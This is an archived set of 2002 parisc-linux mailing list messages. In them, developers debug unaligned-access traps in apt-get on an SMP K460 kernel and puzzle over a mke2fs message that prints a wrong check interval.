From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned access failures with apt-get on SMP K460.
Date: Sun, 16 Jun 2002 22:31:04 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200206170231.g5H2V44J011035@hiauly1.hia.nrc.ca>
References: <200206170059.g5H0xw9a010945@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621400 9038 80.91.229.3 (22 Nov 2014 01:56:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:40 +0000 (UTC)
Cc: rbradetich@uswest.net, parisc-linux@lists.parisc-linux.org,
	richard_hirst@linuxcare.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 20:31:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FA9D483A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 20:31:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5H2V5FN011036;
	Sun, 16 Jun 2002 22:31:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5H2V44J011035;
	Sun, 16 Jun 2002 22:31:04 -0400 (EDT)
In-Reply-To: <200206170059.g5H0xw9a010945@hiauly1.hia.nrc.ca> from "John David Anglin" at Jun 16, 2002 08:59:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15110

> > The instruction causing the unaligned trap is:
> > 0x4005e47c <_ZN11DynamicMMap8AllocateEm+112>:	stw r21,8(sr0,r3)
> > 
> > As you can see from r3 (403ce08c) in the register dump is aligned on a
> > 4-byte boundry.  So the question is why is this trap being executed?
> 
> Maybe the message is misleading.  It looks as if the insn may be trying
> to write to readonly memory based of the value of r3.

Sorry, this is wrong.  Was _ZN11DynamicMMap8AllocateEm compiled with
gcc-3.2?  It looks as if C++ exceptions may be involved.  This only
has a chance of working with 3.2.  I suspect that an exception handler
is involved because r20 is not valid across calls and r20/r21 are
used in C++ exceptions.  The call looks to be a millicode call which
might be part of the problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned access failures with apt-get on SMP
	K460.
Date: 16 Jun 2002 21:04:22 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <1024283062.27050.29.camel@beavis>
References: <200206170231.g5H2V44J011035@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621400 9044 80.91.229.3 (22 Nov 2014 01:56:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, richard_hirst@linuxcare.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 21:04:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27D17483C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 21:04:23 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 2B34CBCD6; Sun, 16 Jun 2002 21:04:22 -0600 (MDT)
In-Reply-To: <200206170231.g5H2V44J011035@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15111

Dave,

This is the apt-get from debian unstable ... so if I had to guess
I would assume that it is:

||/ Name           Version        Description
+++-==============-==============-============================================
ii  gcc            3.0.4-6        The GNU C compiler.

any way I can tell from the binary?

thanks,

- Ryan


On Sun, 2002-06-16 at 20:31, John David Anglin wrote:
> > > The instruction causing the unaligned trap is:
> > > 0x4005e47c <_ZN11DynamicMMap8AllocateEm+112>:	stw r21,8(sr0,r3)
> > > 
> > > As you can see from r3 (403ce08c) in the register dump is aligned on a
> > > 4-byte boundry.  So the question is why is this trap being executed?
> > 
> > Maybe the message is misleading.  It looks as if the insn may be trying
> > to write to readonly memory based of the value of r3.
> 
> Sorry, this is wrong.  Was _ZN11DynamicMMap8AllocateEm compiled with
> gcc-3.2?  It looks as if C++ exceptions may be involved.  This only
> has a chance of working with 3.2.  I suspect that an exception handler
> is involved because r20 is not valid across calls and r20/r21 are
> used in C++ exceptions.  The call looks to be a millicode call which
> might be part of the problem.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)
> 





From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned access failures with apt-get on SMP
 K460.
Date: Sun, 16 Jun 2002 20:19:40 -0700 (PDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206162014520.24659-100000@garibaldi.apptechsys.com>
References: <1024273345.27050.26.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621400 9046 80.91.229.3 (22 Nov 2014 01:56:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	<richard_hirst@linuxcare.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 21:19:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 484D94842
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 21:19:45 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 2EB497BC46; Sun, 16 Jun 2002 20:19:40 -0700 (PDT)
In-Reply-To: <1024273345.27050.26.camel@beavis>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15112

On 16 Jun 2002, Ryan Bradetich wrote:

> Hello parisc-linux hackers,
> 
> I (with a lot of help from Richard) am  looking into a problem with
> apt-get .... on a SMP kernel for the K460. 
> 
> The problem is that when I run apt-get <command> I get the following
> error message:
> 	apt-get(<PID>): unaligned access to 0x403ce094 at ip=0x4005e47f
> 
I get stuff like this on my J5000, only it locks up and/or HPMC's when it 
does it.  (Sometimes prints HPMC info to the LCD, sometimes not, but 
always locks up).

I try to keep up-to-date with the cvs kernels, and I try it on SMP every 
now and then, but I generally run this box under UP and it is very stable.  
I started having problems with this box when the latest 2.4.17-32-smp was 
released.  With the previous one, this box was stable under SMP.  (this 
was before I got the courage to build my own kernels on parisc).  Not sure 
what versions in cvs this corresponds to, but maybe some change between 
caused the problem.

Not sure if this is the same problem you are encountering, because Samba 
also tends to lock this box up, and if I leave it alone, it just crashes 
itself later...


-- 
Troubled day for virgins over 16 who are beautiful and wealthy and live
in eucalyptus trees.




From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned access failures with apt-get on SMP
	K460.
Date: 16 Jun 2002 21:37:56 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <1024285076.8850.36.camel@beavis>
References: <Pine.LNX.4.44.0206162014520.24659-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621401 9048 80.91.229.3 (22 Nov 2014 01:56:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, richard_hirst@linuxcare.com
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 21:37:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 762B14840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 21:37:57 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 78F55BCD6; Sun, 16 Jun 2002 21:37:56 -0600 (MDT)
In-Reply-To: <Pine.LNX.4.44.0206162014520.24659-100000@garibaldi.apptechsys.com>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15113

Hello Jeremy,

The SMP problem is what I am trying to debug.  I am running SMP cvs head
on the J200 and the K460 and also an A500 recently thanks to the ESIEE
team.  The K460 has 4 processors which I am hoping will help to identify
the SMP problems faster, but it is also exposing new SMP problems for me
to look into :(

Hopefully we will be able to identify and fix these SMP problems, but
they do not appear to be easy and will probably take a while to fix.

Thanks for the report! and if you notice anything else odd (or
repeatable patterns) let me and/or the list know so maybe it will
provide additional insights into the problems.

Thanks,

- Ryan

On Sun, 2002-06-16 at 21:19, Jeremy Drake wrote:
> On 16 Jun 2002, Ryan Bradetich wrote:
> 
> > Hello parisc-linux hackers,
> > 
> > I (with a lot of help from Richard) am  looking into a problem with
> > apt-get .... on a SMP kernel for the K460. 
> > 
> > The problem is that when I run apt-get <command> I get the following
> > error message:
> > 	apt-get(<PID>): unaligned access to 0x403ce094 at ip=0x4005e47f
> > 
> I get stuff like this on my J5000, only it locks up and/or HPMC's when it 
> does it.  (Sometimes prints HPMC info to the LCD, sometimes not, but 
> always locks up).
> 
> I try to keep up-to-date with the cvs kernels, and I try it on SMP every 
> now and then, but I generally run this box under UP and it is very stable.  
> I started having problems with this box when the latest 2.4.17-32-smp was 
> released.  With the previous one, this box was stable under SMP.  (this 
> was before I got the courage to build my own kernels on parisc).  Not sure 
> what versions in cvs this corresponds to, but maybe some change between 
> caused the problem.
> 
> Not sure if this is the same problem you are encountering, because Samba 
> also tends to lock this box up, and if I leave it alone, it just crashes 
> itself later...
> 
> 
> -- 
> Troubled day for virgins over 16 who are beautiful and wealthy and live
> in eucalyptus trees.
> 
> 





From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned access failures with apt-get on SMP
Date: Mon, 17 Jun 2002 00:12:16 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200206170412.g5H4CGP8011158@hiauly1.hia.nrc.ca>
References: <1024283062.27050.29.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621401 9051 80.91.229.3 (22 Nov 2014 01:56:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, richard_hirst@linuxcare.com
To: rbradetich@uswest.net (Ryan Bradetich)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 22:12:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66F1F483B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 22:12:18 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5H4CGFN011159;
	Mon, 17 Jun 2002 00:12:17 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5H4CGP8011158;
	Mon, 17 Jun 2002 00:12:16 -0400 (EDT)
In-Reply-To: <1024283062.27050.29.camel@beavis> from "Ryan Bradetich" at Jun 16, 2002 09:04:22 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15114

> any way I can tell from the binary?

Not that I am aware of.  On further thought, I think the user code is ok.

Studying you original message further, I see that the printout from
unaligned.c is fully consistent with the register dump and user code.
Thus, I have to think that the problem is actually in the kernel.

If the failure occurs all the time, I would put a break at 0x4005e47c
and then set a large ignore count.  Run the program and see how many
times the break is hit before the fault occurs.  Then, set the ignore
count to 1 less than the number of hits and rerun.  If the fault is
deterministic, you should be able to determine the exact conditions
which cause the "trap".

Oh, I remember that gdb may not print r3 correctly with info reg.
It's better to use p $r3 or printf "0x%x\n", $r3.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned access failures with apt-get on SMP
 K460.
Date: Sun, 16 Jun 2002 21:45:09 -0700 (PDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206162125530.24659-100000@garibaldi.apptechsys.com>
References: <1024285076.8850.36.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621401 9054 80.91.229.3 (22 Nov 2014 01:56:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	<richard_hirst@linuxcare.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 16 22:45:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB8D2483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Jun 2002 22:45:09 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 3A0A47BC46; Sun, 16 Jun 2002 21:45:09 -0700 (PDT)
In-Reply-To: <1024285076.8850.36.camel@beavis>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15115

On 16 Jun 2002, Ryan Bradetich wrote:

> Hello Jeremy,
> 
> The SMP problem is what I am trying to debug.  I am running SMP cvs head
> on the J200 and the K460 and also an A500 recently thanks to the ESIEE
> team.  The K460 has 4 processors which I am hoping will help to identify
> the SMP problems faster, but it is also exposing new SMP problems for me
> to look into :(
I can try things out for you on my J5k if it will help.  This box was not 
being used at my work, so they let me install linux on it and play with it 
until it is needed.  So, it is okay for me to crash it :P

> Thanks for the report! and if you notice anything else odd (or
> repeatable patterns) let me and/or the list know so maybe it will
> provide additional insights into the problems.
This time I got a new message.

WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x203c8000 to 0x203cc700:
8000 c377fe59 d5f07332 86effcb3 abe0e665 0ddff967 57c1cccb 1bc9479d 
aff52cc4
8020 37928f3b 5fea5989 6f53ab25 bfa20640 dea7564b 7f440c81 bd3819c5 
fefeac50
8040 7a70338b fdfd58a1 f4e06717 fbfab143 e9c0ce2f f7f56287 d3819c5f 
efeac50f

<tuns of hex deleted>

The next time, it just locks up, no message.

It looks horribly unpridictable, although I have found 2 programs that 
consistantly do it: samba and apt-get.  

If I could be of any help, testing or coding, let me know.  I don't know a 
lot about the parisc arch, but I would be willing to learn...  I would 
like to make linux a viable alternative to HP-UX for our clients, but 
since they are still stuck in 10.2x land, I don't think they will be very 
interested in change...  Still, these boxes would make pretty good 
development workstations around here, despite their size, power 
consumption, and heat output...


-- 
Freedom's just another word for nothing left to lose.
		-- Kris Kristofferson, "Me and Bobby McGee"




From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mke2fs odd number:
Date: Mon, 17 Jun 2002 10:50:42 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020617095042.GE1177@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621402 9056 80.91.229.3 (22 Nov 2014 01:56:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 17 03:50:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95FC04843
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 03:50:44 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17Jt9m-0000cj-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 10:50:42 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15116

Does anyone else get with from mke2fs:

This filesystem will be automatically checked every 22 mounts or
1.23076e-312 days, whichever comes first.  Use tune2fs -c or -i to override.

I really hope it doesn't want to check the filesystem that often :)

patrick




From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mke2fs odd number:
Date: Mon, 17 Jun 2002 14:02:11 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20020617130211.GJ1177@tykepenguin.com>
References: <20020617095042.GE1177@tykepenguin.com> <1024316831.3d0dd59f20e61@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621402 9057 80.91.229.3 (22 Nov 2014 01:56:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 17 07:02:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB7234845
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 07:02:12 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17Jw95-0002BV-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 14:02:11 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1024316831.3d0dd59f20e61@webmail.tiscalinet.be>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15117

On Mon, Jun 17, 2002 at 02:27:11PM +0200, joel.soete@freebel.net wrote:
> Quoting Patrick Caulfield <patrick@tykepenguin.com>:
> 
> > Does anyone else get with from mke2fs:
> > 
> > This filesystem will be automatically checked every 22 mounts or
> > 1.23076e-312 days, whichever comes first.  Use tune2fs -c or -i to
> > override.
> 
> Also notice this last Friday (but no time to report.
> 
> > 
> > I really hope it doesn't want to check the filesystem that often :)
> > 
> Dono, if tune2fs more relevant:
> Check interval:           15552000 (6 months)

That's right (and it's what I have). Looking at the source I can't quite figure
out why the display is wrong:

void print_check_message(ext2_filsys fs)
{
        printf(_("This filesystem will be automatically "
                 "checked every %d mounts or\n"
                 "%g days, whichever comes first.  "
                 "Use tune2fs -c or -i to override.\n"),
               fs->super->s_max_mnt_count,
               (double)fs->super->s_checkinterval / (3600 * 24));
}

I have verified that fs->super->s_checkinterval is still 15552000, but if I
write a program that prints out 15552000/(3600 * 24) then I get 180 as expected!

I'm not at all worried about it (though I have raised a Debian bug report) I
